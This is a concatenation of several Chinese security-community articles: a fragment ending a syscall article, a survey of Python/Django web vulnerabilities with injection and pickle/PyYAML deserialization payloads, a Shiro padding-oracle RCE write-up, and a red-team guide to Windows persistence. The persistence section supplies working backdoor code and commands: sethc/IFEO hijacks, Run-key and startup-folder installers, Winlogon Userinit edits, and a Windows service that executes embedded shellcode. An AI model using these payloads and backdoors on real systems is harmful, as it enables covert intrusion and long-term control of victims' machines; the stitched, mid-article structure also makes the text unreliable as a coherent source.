我知道涉及到的内容有点多，而且老实讲，一开始看到的时候也会比较复杂。所以请花些时间阅读这篇文章并确保你已经理解了这些概念。
在下一篇文章中，我们会专注于实际编写代码，利用在本文中学到的内容，实现一个有效的syscall。
除了编写代码外，我们也会介绍如何对“工具”代码进行管理，以及如何为之后与其他工具的集成做准备。
感谢阅读，敬请关注第2部分！ | 社区文章 |
# 【技术分享】python web 安全总结
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**
**
作者：[mapl0](http://bobao.360.cn/member/contribute?uid=621946719)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**引言**
作者以前学习过php方面的安全知识，机缘巧合的情况下学习了django，在学习的过程中顺便收集总结了一下python安全方面的知识点以及近年来的相关漏洞，如果有需要修正或补充的地方，欢迎各位师傅的指出。
ps:特别感谢c1tas&lucifaer两位师傅的指点。
常见web漏洞在python中的示例。
**xss**
python下的xss其原理跟php是一样的，django近年的例子如下：
**CVE-2017-12794** ,此例中通过抛出异常造成xss。
**sql注入**
一般来说使用django自带的操作数据库api是不会造成sql注入的,如下：
Person.objects.filter(first_name=request.GET.get('user'))
不过django依然支持原生sql语法的使用方法,如下：
def index(request, *args, **kwargs):
for e in Person.objects.raw('select * from FIRST_Person '):
print(e.first_name,e.last_name)
return render(request, 'home.html')
控制台结果如下：
asd sdf
mapl0 ppp
admin hahaha
如果代码如下：
def index(request, *args, **kwargs):
for e in Person.objects.raw('select * from FIRST_Person WHERE first_name = ' + '"' + request.GET.get('user') + '"'):
print(e.last_name)
return render(request, 'home.html')
访问 **http://127.0.0.1:8000/?user=admin** 后控制台返回hahaha
而访问 **http://127.0.0.1:8000/?user=qqq%22%20or%20%221** ，控制台直接返回了
sdf
ppp
hahaha
**代码/命令执行**
除内建的模块，还有 **os,commands,subprocess,multiprocessing,pty，Cpickle/pickle，PyYAML**
等模块能代码/命令执行，详细可看下文。
**CSRF**
django这类的框架 **自带csrf防护** ，不过在去年依然爆出csrf漏洞[
**CVE-2016-7401-Django**](http://blog.knownsec.com/2016/10/django-csrf-bypass_cve-2016-7401/)（知道创宇这篇分析很细致），如果django使用了Google
Analytics则可能绕过django自带的csrf防护机制。
Django对于CSRF的防护就是 **判断cookie中的csrftoken和提交的csrfmiddlewaretoken** 的值是否相等，但是
**Google Analytics可以通过referer帮我们设置用户的cookie** ，cookie一般如下：
utmz=123456.123456789.11.2.utmcsr=[HOST]|utmccn=(referral)|utmcmd=referral|utmcct=[PATH]
其中[HOST]和[PATH]是由Referer确定的，也就是说当
Referer: http://x.com/helloworld
时，cookie如下：
z=123456.123456789.11.2.utmcsr=x.com|utmccn=(referral)|utmcmd=referral|utmcct=helloworld
django在当时的版本有cookie解析漏洞，当Cookie.SimpleCookie()解析a=hello]b=world这样的字符串时，就会取得a=hello和b=world，所以当Referer为http://x.com/hello]csrftoken=world，csrftoken就被成功赋值。
详细的[ **代码分析**](http://blog.knownsec.com/2016/10/django-csrf-bypass_cve-2016-7401/)，值得一看。
**文件上传**
在php环境下如果不限制上传文件后缀会导致getshell，但在django下，如果上传的文件能覆盖类似url.py，__init__.py的文件，攻击者能顺利getshell。参考<https://www.secpulse.com/archives/36220.html>
。还有django只有在development server的模式下才会修改了文件就立刻重启，否则修改了文件也暂时无法生效。
当然除此之外还有其他方法，例如写cron（前提是有权限），和模板文件。
简单说一下写模板文件的过程：
需要在templatetags和templates分别写入一个文件（可能也不叫templatetags，可自行定义），templatetags文件夹内存放自定义标签，上传文件rce.py，代码如下：
from django import template
import os
register = template.Library()
@register.simple_tag
def some_function(value):
shell = os.system('touch mapl0')
return shell
templates文件夹存放静态html文件，上传文件home.html如下：
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
{% load rce %}
{% some_function "%s" as func %}
<p> command is {{ func }} </p>
</body>
</html>
在view里，index会使用这个模板：
def index(request, *args, **kwargs):
return render(request, 'home.html')
访问后，就在项目目录生成了mapl0文件。
可见使用限制很大，还需要一定的权限。首先，文件后缀没有限制，其次上传路径没有限制，templatetags目录已知，另外还需要有view使用这个模板。
另外xml和html文件的自由上传依然可以造成xxe和xss。
**文件包含**
[案例](http://bobao.360.cn/news/detail/1475.html)
相比之下文件包含比php少得多
**重定向**
****
django在今年爆出了两个重定向漏洞[CVE-2017-7233&7234](https://paper.seebug.org/274/)其中的CVE-2017-7233与urlparse有关，漏洞的说明可查看下文。
**不安全模块及函数**
****
**内建函数**
**input():**
python input() 相等于 eval(raw_input(prompt))
，用来获取控制台的输入,在python3.0以后的版本中取消raw_input,并用input代替.
value = input("hello ")
print("welcome %s" % (value,))
python2命令行下：
hello dir()
welcome ['__builtins__', '__doc__', '__file__', '__name__', '__package__']
python3命令行下:
hello dir()
welcome dir()
**assert():**
assert断言是声明其布尔值必须为真的判定，如果发生异常就说明表达示为假。
Traceback (most recent call last):
File "/Users/mapl0/Desktop/资料/sec.py", line 3, in <module>
assert os.system('touch test')
AssertionError
报了个错误，但test文件已被建立
**代码执行函数**
eval:计算字符串中的表达式
exec:执行字符串中的语句
execfile:用来执行一个文件#python3中已无此函数
a = "print('eval:hello')"
b = "print('exec:hello')"
eval(a)
exec(b)
python2和python3下结果一样
eval:hello
exec:hello
execfile('temp.bin')#temp.bin内容为print('execfile:hello')
结果
execfile:hello
**os模块:**
os.system
os.popen#和os.system的区别在于popen会把命令的输出作为返回值
os.spawn
[os.exec家族](http://wangyongbin.blog.51cto.com/8964308/1672725)
**commands模块 :**
commands.getstatusoutput
**subprocess模块 :**
subprocess.Popen
subprocess.call通过子进程进行外壳注入
from subprocess import call
unvalidated_input = '/bin/true'#true命令啥都不做,只设置退出码为0
unvalidated_input += '; cut -d: -f1 /etc/passwd'
call(unvalidated_input, shell=True)#当shell=true时，shell命令可被当做多句执行。
运行结果
nobody
root
……..
multiprocessing多进程模块 :
import multiprocessing
p = multiprocessing.Process(target=print, args=("hello"))#target参数为函数名，args为函数所需参数
p.start()
p.join()
运行结果
h e l l o
**pty :**
只能在linuxmac下使用的 **伪终端**
import pty
pty.spawn('ls')
在python23下均可执行命令
其他有安全问题模块及函数
**codecs :**
codecs作用于各种编码之间的相互转换
import codecs
import io
b = b'x41xF5x42x43xF4'
print("Correct-String %r") % ((repr(b.decode('utf8', 'replace'))))
with open('temp.bin', 'wb') as fout:
fout.write(b)
with codecs.open('temp.bin', encoding='utf8', errors='replace') as fin:
print("CODECS-String %r") % (repr(fin.read()))
with io.open('temp.bin', 'rt', encoding='utf8', errors='replace') as fin:
print("IO-String %r") % (repr(fin.read()))
当b以二进制方式写入文件后，用codecs在进行读取，如果errors='replace'且编码形式为utf-8时，则对于xF5和xF4这类不能编码的都会被替换为ufffd。
在python2下：
Correct-String "u'A\ufffdBC\ufffd'"
CODECS-String "u'A\ufffdBC'"
IO-String "u'A\ufffdBC\ufffd'"
在Python3下会报错：
print("Correct-String %r") % ((repr(b.decode('utf8', 'replace'))))
TypeError: unsupported operand type(s) for %: 'NoneType' and 'str'
**ctypes :**
ctypes是一个 **提供和C语言兼容的数据类型的外部库** ，当出现x00的空字符就会出现截断
import ctypes
buffer = ctypes.create_string_buffer(8)
buffer.value='abx00c1234'
print(buffer.value)
print (buffer.raw)
在python2命令行下:
ab
abc1234
在python3下回报错：
buffer.value='abx00c1234'
TypeError: bytes expected instead of str instance
**Python Interpreter :**
#!python
try:
if 0:
yield 5
print("T1-FAIL")
except Exception as e:
print("T1-PASS")
pass
try:
if False:
yield 5
print("T2-FAIL")
except Exception as e:
print(repr(e))
pass
对于类似if 0: if False: 的写法，python版本的不同，其测试结果也不同
可重用整数 :
999+1 is 1000 #False
1+1 is 2 #True
对此的解释是，Python 维护了一个对象连接池，其中保有前几百个整数，重用它们会节约内存和对象的创建。
浮点数比较 :
2.2 * 3.0 == 3.3 * 2.0 #False
由于固有受限精度，以及十进制与二进制小数表示所产生的差异导致的舍入错误。
无穷大 :
python支持无穷大的概念，但在python2下出现了这样的情况
Type "help", "copyright", "credits" or "license" for more information.
10**1000000 > float('infinity')
False
float > float('infinity')
True
python3下
10**1000000 > float('infinity')
False
float > float('infinity')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: unorderable types: type() > float()
**builtins :**
此模块在python启动后首先加载到内存，此时还没有执行任何程序员写的代码，在Python2.X版本中，内建模块被命名为__builtin__，而到了Python3.X版本中更名为builtins。
在 Python 2中， 内置对象可以通过魔法 __builtins__ 模块进行访问。
__builtins__.False, __builtins__.True = True, False
True
False
int(True)
0
false被赋值成true，true被赋值成false
**urllib2:**
Python 的 urllib
库曾出过一个头注入的漏洞，[CVE-2016-5699](http://blog.neargle.com/SecNewsBak/drops/Python%20urllib%20HTTP%E5%A4%B4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html)
如果请求头里出现了 **%0A** 则直接换行导致攻击者可以注入额外http头和请求方法，可在ssrf里攻击redis或者memcached。
Python2/Python3较新的版本均在出口处的putheader()函数里添加了一个检验，发现不合法URL会报一个error.
**tarfile/ZipFile:**
tarfile模块可以读取和写入tar文件，包括使用gzip或bz2压缩的压缩文件。
ZipFile模块提供了创建，读取，写入，附加和列出ZIP文件的函数。
TarFile.extractall使用此函数提取文件时，文件可能创建在其他路径，官方建议不要从不信任的来源提取文件。
ZipFile.extractall也有同样的问题，解压时文件可能创建在其他路径，但在2.7.4版本中，模块会试图阻止这种行为。
**urlparse :**
[CVE-2017-7233](https://paper.seebug.org/274/)
urllib.parse.urlparse的特殊情况曾给django造成一个url跳转漏洞。
django的 **is_safe_ur**
l函数可用于检测url是或否安全，但整合各函数是基于urllib.parse.urlparse的，urlparse在当scheme不等于http，path为纯数字时不能正常分割使得is_safe_url为true，从而达到bypass的目的。
例如 https:1029415385，is_safe_url会直接判断为true。
**格式化字符串漏洞:**
起因是python的新方法format，示例如下：
class mapl0:
user = 'mapl0'
password = 'hahaha'
key = '123456'
print("This is {user.user} {user.password}".format(user = mapl0))
我们可以通过format将mapl0类中的属性输出出来，在这篇[paper](https://paper.seebug.org/175/)中(@phithon)就有类似的情况：
def view(request, *args, **kwargs):
user = get_object_or_404(User, pk=request.GET.get('uid'))
template = 'This is {user}'s email: ' + request.GET.get('email')
return HttpResponse(template.format(user=user))
由于request.GET.get('email')也就是用户通过get传入的email参数完全可控，我们就能让request.user里的任意属性输出出来，例如{user.password}。
通过debug查看了一下request.user里的内容,其中session_key,目录，secret_key等等敏感信息都能查看，其中SECRET_KEY如果泄露，则可能配合django反序列化漏洞实现rce。
Jinja的沙盒绕过与此同理。顺便一说，在[paper](https://paper.seebug.org/175/)还提到的f修饰符很有意思，在python3.6版本会后，被f/F修饰的字符串将会被当做代码执行。
**反序列化**
****
**Cpickle/pickle 反序列化：**
python2 使用cPickle，python3
使用pickle，__reduce__函数会在被反序列化是执行，类似php里的__wakeup，当我们序列化了一个带有__reduce__的类时，将其反序列化即可执行__reduce__里的代码
import os
import cPickle
a = 1
# Exploit that we want the target to unpickle
class Exploit(object):
def __reduce__(self):
global a
a = 10
os.system("pwd")
return (os.system, ('ls',))
shellcode = cPickle.dumps(Exploit())#cPickle.dumps序列化操作
cPickle.loads(shellcode)#cPickle.loads反序列化操作
print a
pickle用法类似
import os
import pickle
# Exploit that we want the target to unpickle
class Exploit(object):
def __reduce__(self):
return (os.system, ('ls',))
shellcode = pickle.dumps(Exploit())
pickle.loads(shellcode)
[Django任意代码](http://www.freebuf.com/vuls/77591.html)在django1.6版本前存在任意代码执行漏洞，其漏洞起因就是pickle。
在django1.6以下，session默认是采用pickle执行序列号操作，在1.6及以上版本默认采用json序列化，但还需要知道SECRET_KEY以及目标采用了signed_cookies。
[掌阅iReader某站Python漏洞挖掘](https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html)，通过redis写session从而反序列化getshell。
**PyYAML 对象类型解析导致的命令执行问题：**
<http://blog.knownsec.com/2016/03/pyyaml-tags-parse-to-command-execution/>
import yaml
content = '''--- !!python/object/apply:subprocess.check_output [[ls]]#subprocess.check_output父进程等待子进程完成 返回子进程向标准输出的输出结果
...'''
print yaml.load(content)
python2下结果
1.py
__init__.py
__pycache__
……
python3下结果
b'1.pyn__init__.pyn__pycache__n................
**shelve：**
shelve用处是让对象持久化，但它在序列化与反序列化的过程中使用了pickle模块，因此我们可以利用shelve会调用的pickle在反序列化过程中执行代码。
import shelve
import os
class exp(object):
def __reduce__(self):
return (os.system('ls'))
file = shelve.open("test")
file['exp'] = exp()
print(file['exp'])
一些在较新版本被弃用的函数和模块
**rexec:**
在python2.6后被弃用，相关[文档](https://docs.python.org/2/library/rexec.html).
**bastion:**
在python2.6后被弃用，相关[文档](https://docs.python.org/2/library/bastion.html).
**tempfile.mktemp:**
此函数自从2.3版本不推荐使用并使用mkstemp()代替，相关[文档](https://docs.python.org/3/library/tempfile.html?highlight=mktemp#tempfile.mktemp)
**总结**
****
python安全还远不止上文所述部分，随之python使用者的增多，其安全性必然也会不断地收到挑战，而我们也需要从中不断学习以应对随时袭来的威胁。
**参考文章**
****
<http://python.jobbole.com/82746/>
<http://www.freebuf.com/articles/web/73669.html>
<https://virusdefender.net/index.php/archives/576/>
<https://paper.seebug.org/337/>
<http://www.freebuf.com/articles/system/89165.html> | 社区文章 |
# Shiro RCE again（Padding Oracle Attack）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：00theway@奇安信观星实验室
## 背景介绍
前一段时间Apache发了一个Shiro的漏洞通告[RememberMe Padding Oracle
Vulnerability](https://issues.apache.org/jira/browse/SHIRO-721)，原因是Shiro使用了AES-128-CBC模式对cookie进行加密，导致恶意用户可以通过padding
oracle攻击方式构造序列化数据进行[反序列化攻击](https://issues.apache.org/jira/browse/SHIRO-550)。
shiro是一个JAVA WEB中使用率很高的权限管理组件，平时HW、攻防演练遇到的也很多，于是拿来研究一下,记录一下。
## 漏洞分析
shiro反序列化的攻击流程大家都比较熟悉，然而这次漏洞加入了padding oracle攻击方式比较令人费解，这里首先介绍一下padding
oracle的利用方式。
### Padding Oracle构造数据
网上已经有很多介绍Padding Oracle Attack的原理介绍和利用方法的文章，但是绝大部分都是讲如何获取明文，这就让人很难利用Padding
Oracle方式攻击Shiro，Padding Oracle的另外一种利用方法就是构造加密数据，可以参考这篇文章。[Going the other way
with padding oracles: Encrypting arbitrary
data!](https://blog.skullsecurity.org/2016/going-the-other-way-with-padding-oracles-encrypting-arbitrary-data)
利用Padding Oracle构造密文
* Select a string, P, that you want to generate ciphertext, C, for
* Pad the string to be a multiple of the blocksize, using appropriate padding, then split it into blocks numbered from 1 to N
* Generate a block of random data (CN – ultimately, the final block of ciphertext)
* For each block of plaintext, starting with the last one…
* Create a two-block string of ciphertext, C’, by combining an empty block (00000…) with the most recently generated ciphertext block (Cn+1) (or the random one if it’s the first round)
* Change the last byte of the empty block until the padding errors go away, then use math (see below for way more detail) to set the last byte to 2 and change the second-last byte till it works. Then change the last two bytes to 3 and figure out the third-last, fourth-last, etc.
* After determining the full block, XOR it with the plaintext block Pn to create Cn
* Repeat the above process for each block (prepend an empty block to the new ciphertext block, calculate it, etc)
To put that in English: each block of ciphertext decrypts to an unknown value,
then is XOR’d with the previous block of ciphertext. By carefully selecting
the previous block, we can control what the next block decrypts to. Even if
the next block decrypts to a bunch of garbage, it’s still being XOR’d to a
value that we control, and can therefore be set to anything we want.
以下是对整个过程的一个java实现的核心代码片段，原文看不懂可以结合代码理解
### shiro中利用
shiro对cookie的处理过程
认证失败时会设置deleteMe的cookie
认证成功则不会设置deleteMe的cookie
根据以上条件我们的思路是在正常序列化数据（需要一个已知的用户凭证获取正常序列化数据）后利用padding
oracle构造我们自己的数据（需要学习的另一个知识点是java序列化数据后的脏数据不影响反序列化结果，感谢[@imbeee](https://github.com/imbeee
"@imbeee")），此时会有两中情况
1. 构造的数据不能通过字符填充验证，返回deleteme
2. 构造的数据可以成功解密通过字符填充验证，之后数据可以正常反序列化，不返回deleteme的cookie
## 利用
ysoserial生成payload
生成加密后的paylaod
点击生成计算器
这个漏洞利用方式尽然有些鸡肋，但shiro框架是红队评估中很常见，只有了解了漏洞的每一个细节，才能在红队行动中攻城掠地。 | 社区文章 |
## 0x01 前言
红队人员拿到一台主机权限后首先会考虑将该机器作为一个持久化的据点，种植一个具备持久化的后门，从而随时可以连接该被控机器进行深入渗透。通俗的说抓到一条鱼,不能轻易放走了。
## 0x02 辅助功能镜像劫持
为了使电脑更易于使用和访问，Windows
添加了一些辅助功能。这些功能可以在用户登录之前以组合键启动。根据这个特征，一些恶意软件无需登录到系统，通过远程桌面协议就可以执行恶意代码。
比如最常见的按5下shift出现的粘滞键Sethc.exe，还有Windows + U组合键时启动的utilman.exe程序
还有:
屏幕键盘： C:\Windows\System32\osk.exe
放大镜： C:\Windows\System32\Magnify.exe
旁白： C:\Windows\System32\Narrator.exe
显示切换器 C:\Windows\System32\DisplaySwitch.exe
应用切换器： C:\Windows\System32\AtBroker.exe
在较早的 Windows
版本，只需要进行简单的二进制文件替换，比如经典的shift后门是将C:\Windows\System32\sethc.exe替换为cmd.exe。
windows 2003，xp
可以可视化界面更换也可以命令行:
copy c:\windows\system32\sethc.ex c:\windows\system32\sethc1.exe
copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
### 更高版本
我们需要用到IFEO,即映像劫持
#### 什么是IFEO
所谓的IFEO就是Image File Execution Options，直译过来就是映像劫持。它又被称为“重定向劫持”（Redirection
Hijack），它和“映像劫持”（Image Hijack，或IFEO
Hijack）只是称呼不同，实际上都是一样的技术手段。白话来讲就是做某个操作的时候被拦截下来，干了别的事。
当我们双击运行程序时，系统会查询该IFEO注册表，如果发现存在和该程序名称完全相同的子键，就查询对应子健中包含的“debugger”键值名，如果该参数不为空，系统则会把
Debugger 参数里指定的程序文件名作为用户试图启动的程序执行请求来处理。这样成功执行的是遭到“劫持”的虚假程序。
#### 可视化修改
在iexplorer.exe中加入键值对:debugger c:\windows\system32\cmd.exe
#### 命令行修改
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f
当然,需要管理员权限
## 0x03 启动项/服务后门
### 开始菜单启动项
开始菜单启动项，指示启动文件夹的位置，具体的位置是“开始”菜单中的“所有程序”-“启动”选项：
C:\Users\SD\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
相关键值
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
重启后自启
由于每台电脑的快速启动目录不同,可以代码实现
#include <iostream>
#include <windows.h>
#include <shlobj.h>
#pragma comment(lib, "shell32.lib")
BOOL AutoRun_Startup(CHAR* lpszSrcFilePath, CHAR* lpszDestFileName)
{
BOOL ret = false;
CHAR szStartPath[MAX_PATH] = { 0 };
CHAR szDestFilePath[MAX_PATH] = { 0 };
//返回快速启动目录路径到szStartPath
ret = ::SHGetSpecialFolderPathA(NULL, szStartPath,CSIDL_STARTUP,TRUE);
//判断是否获取成功
if (ret == TRUE)
{
printf("[+]Get the quick start directory successfully！\n");
}
else
{
printf("[!]Get the quick start directory faild！\n");
return FALSE;
}
//构造文件在快速启动目录下的路径
::wsprintfA(szDestFilePath,"%s\\%s",szStartPath,lpszDestFileName);
//复制文件到快速启动目录下
ret = ::CopyFileA(lpszSrcFilePath, szDestFilePath, FALSE);
if (FALSE == ret)
{
printf("[!]Failed to save the file in the quick start directory.\n");
return FALSE;
}
else
{
printf("[!]Successfully to save the file in the quick start directory.\n");
}
printf("[+]Backdoor generation in quick start directory successful!\n");
return TRUE;
}
int main(int argc, char* argv[])
{
printf("[*]Useage:\n %s %s %s\n", "Run_StartUp.exe", "E:\\010Editor\\010 Editor\\010Editor.exe", "010Editor.exe");
if (argc == 3)
{
AutoRun_Startup(argv[1], argv[2]);
}
else
{
printf("[!]Please check the number of your parameters\n");
}
}
#### 启动项注册表后门
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
值得注意的是,HKEY_CURRENT_USER的改动不需要管理员权限
自己写的一个小工具
代码不多,也比较简单,还是分享出来：
#include <iostream>
#include <windows.h>
BOOL Reg_CurrentUser(const char* lpszFileName,const char* lpszValueName)
{
//定义一个注册表句柄
HKEY hKey;
//打开注册表键
if (ERROR_SUCCESS == ::RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey))
{
printf("[+] Open RegKey Successfully\n");
}
else
{
printf("[!] Open RegKey Error\n");
return FALSE;
}
if (ERROR_SUCCESS == ::RegSetValueExA(hKey, lpszValueName, 0, REG_SZ, (BYTE*)lpszFileName, (1 + ::lstrlenA(lpszFileName))))
{
printf("[+] Set Value Successfully\n");
}
else
{
::RegCloseKey(hKey);
printf("[!] Set Value Error\n");
return FALSE;
}
printf("[+] The registry backdoor about HKEY_CURRENT_USER is generated successfully\n");
::RegCloseKey(hKey);
return TRUE;
}
int main(int argc, char* argv[])
{
printf("[*]Useage:\n %s %s %s\n","ModifyReg.exe","E:\\010Editor\\010 Editor\\010Editor.exe", "010Editor");
if (argc == 3)
{
Reg_CurrentUser(argv[1], argv[2]);
}
else
{
printf("[!]Please check the number of your parameters\n");
}
}
而更改HKEY_LOCAL_MACHINE却是需要管理员权限
重启后exe会自启,不一定是cmd程序,可以换成我们自己的马,达到维持权限的效果
#### 使用命令行
修改HKLM
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "123" /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
同样需要管理员权限,代码跟上面差不多
HKEY_CURRENT_USER同理,但不需要管理员权限
### 自启动服务后门
在 Windows上还有一个重要的机制，也就是服务。服务程序通常默默的运行在后台，且拥有 SYSTEM 权限，非常适合用于后门持久化。我们可以将 EXE
/DLL等可执行文件注册为服务实现后门持久化。
可以通过如下命令行方式添加一个服务
sc create "SD" binpath= "C:\Users\SD\Desktop\test.exe"
sc description "SD" "description" 设置服务的描述字符串
sc config "SD" start= auto 设置这个服务为自动启动
net start "SD" 启动服务
也可以直接编写一个服务,穿插着shellcode上线
#include <windows.h>
#include <iostream>
unsigned char buf[] ="\xfc\xe8\x89\x00\x00...............................................\x36\x38\x2e\x31\x2e\x31\x30\x36\x00\x12\x34\x56\x78";
#define SLEEP_TIME 5000 /*间隔时间*/
#define LOGFILE "C:\\Windows\\log1.txt" /*信息输出文件*/
SERVICE_STATUS ServiceStatus; /*服务状态*/
SERVICE_STATUS_HANDLE hStatus; /*服务状态句柄*/
void ServiceMain(int argc, char** argv);
void CtrlHandler(DWORD request);
int InitService();
int main(int argc, CHAR* argv[])
{
WCHAR WserviceName[] = TEXT("sddd");
SERVICE_TABLE_ENTRY ServiceTable[2];
ServiceTable[0].lpServiceName = WserviceName;
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
ServiceTable[1].lpServiceName = NULL;
ServiceTable[1].lpServiceProc = NULL;
StartServiceCtrlDispatcher(ServiceTable);
return 0;
}
int WriteToLog(const char* str)
{
FILE* pfile;
fopen_s(&pfile, LOGFILE, "a+");
if (pfile == NULL)
{
return -1;
}
fprintf_s(pfile, "%s\n", str);
fclose(pfile);
return 0;
}
/*Service initialization*/
int InitService()
{
CHAR Message[] = "Monitoring started.";
OutputDebugString(TEXT("Monitoring started."));
int result;
result = WriteToLog(Message);
return(result);
}
/*Control Handler*/
void CtrlHandler(DWORD request)
{
switch (request)
{
case SERVICE_CONTROL_STOP:
WriteToLog("Monitoring stopped.");
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus(hStatus, &ServiceStatus);
return;
case SERVICE_CONTROL_SHUTDOWN:
WriteToLog("Monitoring stopped.");
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus(hStatus, &ServiceStatus);
return;
default:
break;
}
/* Report current status */
SetServiceStatus(hStatus, &ServiceStatus);
return;
}
void ServiceMain(int argc, char** argv)
{
WCHAR WserviceName[] = TEXT("sddd");
int error;
ServiceStatus.dwServiceType =
SERVICE_WIN32;
ServiceStatus.dwCurrentState =
SERVICE_START_PENDING;
/*在本例中只接受系统关机和停止服务两种控制命令*/
ServiceStatus.dwControlsAccepted =
SERVICE_ACCEPT_SHUTDOWN |
SERVICE_ACCEPT_STOP;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
hStatus = ::RegisterServiceCtrlHandler(
WserviceName,
(LPHANDLER_FUNCTION)CtrlHandler);
if (hStatus == (SERVICE_STATUS_HANDLE)0)
{
WriteToLog("RegisterServiceCtrlHandler failed");
return;
}
WriteToLog("RegisterServiceCtrlHandler success");
/* Initialize Service */
error = InitService();
if (error)
{
/* Initialization failed */
ServiceStatus.dwCurrentState =
SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = -1;
SetServiceStatus(hStatus, &ServiceStatus);
return;
}
LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
/*向SCM 报告运行状态*/
ServiceStatus.dwCurrentState =
SERVICE_RUNNING;
SetServiceStatus(hStatus, &ServiceStatus);
/*do something you want to do in this while loop*/
MEMORYSTATUS memstatus;
while (ServiceStatus.dwCurrentState ==
SERVICE_RUNNING)
{
char buffer[16];
GlobalMemoryStatus(&memstatus);
int availmb = memstatus.dwAvailPhys / 1024 / 1024;
sprintf_s(buffer, 100, "available memory is %dMB", availmb);
int result = WriteToLog(buffer);
if (result)
{
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = -1;
SetServiceStatus(hStatus,
&ServiceStatus);
return;
}
Sleep(SLEEP_TIME);
}
WriteToLog("service stopped");
return;
}
这其实也是psexec的原理:建立连接后创建服务反弹shell
删除服务:
sc delete "SD"
## 0x04 系统计划任务后门
Windows实现定时任务主要有schtasks与at二种方式:
At 适用于windows xp/2003，Schtasks适用于win7/2008或者以后
每五分钟执行一次
schtasks /create /sc minute /mo 5 /tn "sd" /tr C:\Windows\System32\cmd.exe
## 0x05 DLL劫持
DLL劫持漏洞之所以被称为漏洞，还要从负责加载DLL的系统API LoadLibrary 来看。熟悉Windows代 码的同学都知道，调⽤
LoadLibrary 时可以使⽤DLL的相对路径。这时，系统会按照特定的顺序搜索⼀
些⽬录，以确定DLL的完整路径。根据MSDN⽂档的约定，在使⽤相对路径调⽤ LoadLibrary （同样适 ⽤于其他同类DLL
LoadLibraryEx，ShellExecuteEx等）时，系统会依次从以下6个位置去查找所需要的
DLL⽂件（会根据SafeDllSearchMode配置⽽稍有不同）。
1. 程序所在⽬录。
2. 加载 DLL 时所在的当前⽬录。
3. 系统⽬录即 SYSTEM32 ⽬录。
4. 16位系统⽬录即 SYSTEM ⽬录。
5. Windows⽬录。
6. PATH环境变量中列出的⽬录
dll劫持就发⽣在系统按照顺序搜索这些特定⽬录时。只要⿊客能够将恶意的DLL放在优先于正常DLL所在的⽬录，就能够欺骗系统优先加载恶意DLL，来实现“劫持”。
在win7及win7以上系统增加了KnownDLLs保护，需要在如下注册表下添加dll才能顺利劫持：
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls
关于dll劫持的文章有很多,也需要去挖掘,这里推荐一篇文章入门,也是本人写的:<https://www.cnblogs.com/punished/p/14715771.html>
## 0x06 Winlogon用户登录初始化
winlogon.exe是windows中非常重要的进程,在用户还没登录系统之前就已经存在,并与密码验证相关的重要任务精密相关。例如，当在用户登录时，Winlogon
进程负责将用户配置文件加载到注册表中:
HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\
对这些注册表项的恶意修改可能导致 Winlogon 加载和执行恶意 DLL 或可执行文件。
命令行:
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" /t REG_SZ /d "C:\Windows\system32\cmd.exe," /f
可以powershell一句话更改
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,C:\Windows\system32\cmd.exe"
## 0x07 Logon Scripts后门
Windows登录脚本，当用户登录时触发，Logon Scripts能够优先于杀毒软件执行，绕过杀毒软件对敏感操作的拦截。
注册表位置:
HKEY_CURRENT_USER\Environment
增加键值对
## 0x08 文件关联
文件关联就是将一种类型的文件与一个可以打开它的程序建立起一种依存关系，一个文件可以与多个应用程序发生关联。可以利用文件的"打开方式"进行关联选择。
